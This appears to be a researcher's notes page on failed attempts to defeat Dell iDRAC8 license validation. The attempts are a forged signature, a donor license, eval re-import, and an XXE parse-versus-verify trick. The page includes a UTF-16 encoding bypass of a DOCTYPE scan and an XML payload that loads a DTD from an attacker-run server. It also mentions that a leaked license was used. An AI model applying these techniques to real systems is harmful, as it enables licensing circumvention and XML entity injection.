Skip to main content

Failed Avenues (Forgery, Donor, XXE)

Failed Avenues

1. Self-signed / forged license

Replaced the SignatureValue/cert with a self-signed key and recomputed the digest. Result: LIC017. xmlsec only accepts a key chaining to Dell's CA, so the signature cannot be forged without Dell's private key.

2. iDRAC7 donor

The genuine iDRAC7 Enterprise license (9QYZF42, Entitlement DE00000009660549) is signed and perpetual, but the iDRAC8 rejects it with LIC010 ("not for the specified device") — the product/device-class check fires before any tag binding.

3. 240-day eval

iDRAC8_Enterprise_Extended_Eval_License.xml (Entitlement DE436f7669643230, <lns:Evaluation lns:Duration="P240D"/>) imports as LIC009 ("The license upgrade was unsuccessful"), with or without licenseForce, even after deleting the expired eval. Dell's KB also states a trial license can only be imported once per product.

4. XXE / parse-vs-verify TOCTOU

Design: the verifier and the struct parser parse the license separately. Serve the verifier <!ENTITY x "P240D"> (digest still matches) and the parser <!ENTITY x "P3650D">, by making the DTD content change between the two fetches.

UTF-16 DOCTYPE bypass: the <!DOCTYPE byte scan is defeated by encoding the whole file as UTF-16LE with a BOM (FF FE). libxml2 auto-detects it; the canonical form (and therefore the digest) is unchanged.

Payload shape:

<?xml version="1.0" encoding="UTF-16"?>
<!--Copyright ...-->
<!DOCTYPE lns:LicenseClass [
<!ENTITY % d SYSTEM "http://10.50.100.23/192.0.2.20/license.dtd">
%d;
]>
<lns:LicenseClass ...>
  ... <lns:Evaluation lns:Duration="&x;"/> ...

Controls that worked on hardware:

  • donor_utf16.xml → LIC010 (UTF-16 accepted).
  • donor_utf16_doctype.xml → LIC010 (DOCTYPE hidden from the scan).
  • donor_utf16_pe_internal.xml → LIC010 (internal parameter entity + attribute entity expansion works).

What failed:

  • External HTTP parameter entity (forged_duration.xml) → LIC017, zero requests in the DTD server log.
  • External file:// entities (several paths, including files placed via the firmware upload to /mnt/scratchpad/idrac_fw.bin) → LIC017.
  • External general entity in an attribute → LIC017.

Port discovery: the iDRAC HTTP clients ignore the port in the URL and always connect to port 80. With serve.py on 8000/8001/2525, racadm update never connected; with the server on port 80, it produced:

CONNECT 10.50.100.101:192.0.2.10:57376
GET 10.50.100.101192.0.2.10 '/firmimg.d7' (non-dtd)

Even with the DTD on port 80, the license service never fetched it, so its external-entity load is disabled or fails before connect().

Conclusion: the XXE/TOCTOU is technically sound but blocked by the license service's entity loader. The leaked-license route made it unnecessary.